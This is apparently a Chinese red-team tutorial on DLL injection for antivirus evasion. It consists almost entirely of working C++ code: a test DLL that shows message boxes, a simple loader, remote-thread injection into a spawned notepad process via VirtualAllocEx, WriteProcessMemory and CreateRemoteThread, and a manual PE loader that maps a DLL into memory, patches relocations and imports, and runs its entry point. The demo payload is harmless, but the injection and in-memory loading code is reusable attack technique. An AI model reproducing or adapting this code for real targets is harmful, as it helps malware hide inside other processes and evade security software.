免杀技术之dll注入技术详解

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL);
    break;
  case DLL_THREAD_ATTACH:
    MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL);
    break;
  case DLL_THREAD_DETACH:
    MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL);
    break;
  case DLL_PROCESS_DETACH:
    MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL);
    break;
  }
  return TRUE;
}

#include <Windows.h>
#include <iostream>

int main()
{
  // 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
  printf("%pn",LoadLibraryA("dll.dll"));
  std::cin.get();
  return 0;
}

#include <Windows.h>
#include <iostream>

void RemoteLoadDll(LPCSTR path)
{
  STARTUPINFOA si = { sizeof(STARTUPINFOA) };
  PROCESS_INFORMATION pi = {};

  // 创建一个notepad的进程
  if (CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
  {
    // 如果创建失败直接返回
    return;
  }
  else
  {
    // 创建成功打印进程pid 和 进程句柄
    printf("Process PID: %dn", pi.dwProcessId);
    printf("Process Handle: %pn", pi.hProcess);

    int len = strlen(path);
    // 在创建的进程中申请一块内存空间
    LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf(" :: Base Address: %pn", mem_addr);
    // 把我们的dll路径写入到我们申请的内存空间内
    WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL);
    // 从kernel32中获取到LoadLibraryA的函数地址
    PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
    printf(" :: THREAD_START_ROUTINE: %pn", func_addr);
    // 创建远程线程调用LoadLibraryA加载我们的dll
    HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL);
    printf(" :: Thread: %pn", thread_handle);
    // 释放工作
    if (pi.hProcess)CloseHandle(pi.hProcess);
    if (pi.hThread)CloseHandle(pi.hThread);
    if (thread_handle)CloseHandle(thread_handle);
  }
}

int main()
{
  // 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
  // printf("%pn", LoadLibraryA("dll.dll"));
  
  RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)");

  std::cin.get();
  return 0;
}

#include <iostream>
#include <Windows.h>

//重定位表
typedef struct BASE_RELOCATION_BLOCK {
  DWORD page_addr;
  DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位项
typedef struct BASE_RELOCATION_ENTRY {
  USHORT offset : 12;
  USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
  printf("pid:%dn", GetCurrentProcessId());

  // 获取当前模块
  PVOID imagebase = GetModuleHandleA(NULL);

  //将DLL字节读入内存缓冲区
  HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
  DWORD64 dll_size = GetFileSize(dll, NULL);
  LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
  DWORD out_size = 0;
  ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

  // 解析dll
  PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
  PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew);
  SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;

  // 为DLL分配新的内存空间
  LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  printf("new memory addr:%pn", dllbase);

  //计算得到基地址的偏移量，也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址
  DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase;

  // 将DLL节表头复制到新分配的DLL空间
  std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

  // 将DLL节部分复制到新分配的DLL空间
  PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
  for (size_t i = 0; i < ntheaders->FileHeader.NumberOfSections; i++)
  {
    LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress);
    LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
    std::memcpy(section_destination, section_bytes, section->SizeOfRawData);
    section++;
  }

  //修复重定位
  IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase;
  DWORD relocations_processed = 0;

  while (relocations_processed < relocations.Size)
  {
    PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
    relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
    DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
    PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

    for (DWORD i = 0; i < relocations_count; i++)
    {
      relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

      if (relocation_entries[i].type == 0)
      {
        continue;
      }

      DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
      DWORD_PTR address_2_patch = 0;
      ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL);
      address_2_patch += delta_image_base;
      std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR));
    }
  }

  //解析导入地址表
  PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL;
  IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase);
  LPCSTR libraryname = "";
  HMODULE library = NULL;

  while (import_descriptor->Name != NULL)
  {
    libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase;
    library = LoadLibraryA(libraryname);

    if (library)
    {
      PIMAGE_THUNK_DATA thunk = NULL;
      thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk);

      while (thunk->u1.AddressOfData != NULL)
      {
        if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
        {
          LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
          thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
        }
        else
        {
          PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData);
          DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
          thunk->u1.Function = functionAddress;
        }
        ++thunk;
      }
    }

    import_descriptor++;
  }

  //执行
  DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
  (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);

  CloseHandle(dll);
  HeapFree(GetProcessHeap(), 0, dll_bytes);

  return 0;
}